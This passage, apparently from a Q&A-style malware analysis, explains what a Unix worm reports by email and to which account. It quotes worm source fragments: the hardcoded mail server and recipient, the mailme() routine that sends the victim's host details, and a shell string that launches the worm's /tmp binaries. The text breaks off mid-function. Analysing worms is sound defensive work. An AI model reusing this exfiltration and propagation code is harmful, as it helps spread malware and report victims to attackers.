What kind of information is sent by the worm by email? To which account?
The worm sends an email to aion@ukr.net, with the following information: • hostid of the infected machine (as returned by the gethostid(3) call) • hostname of the infected machine • IP address of the infecting machine Comments: The mail server the worm connects to and the email account are defined below: 76 #define MAILSRV “freemail.ukr.net” 77 #define MAILTO “aion@ukr.net” The function mailme() receives sip from its caller — this is the first command line argument of the worm program: 1802 mailme(argv[1]); zhdr(0); This command line argument comes from the sh() function, which starts the new worm on the infected machine, passing as argument the IP address of the infecting machine: 1409 conv(localip,256,myip); memset(rcv,0,1024); 1425 sprintf(rcv, “/tmp/httpd %s; /tmp/update; \n”,localip); The mailme() function is defined below: 94 int mailme(char *sip) 95 { 96 char cmdbuf[256], buffer[128]; 97 int pip; long inet; 98 struct sockaddr_in sck; 99 struct hostent *hp; 100 The function conn
Related Questions
- Can I forward mail sent to my University account to a different email service such as Gmail, Yahoo Mail, or my existing Windows Live Mail or Hot Mail account?
- I signed up for AlertMe messages to be sent to my email account, but for some reason I am not receiving a confirmation message. What should I do?
- What kind of information is sent by the worm by email? To which account?
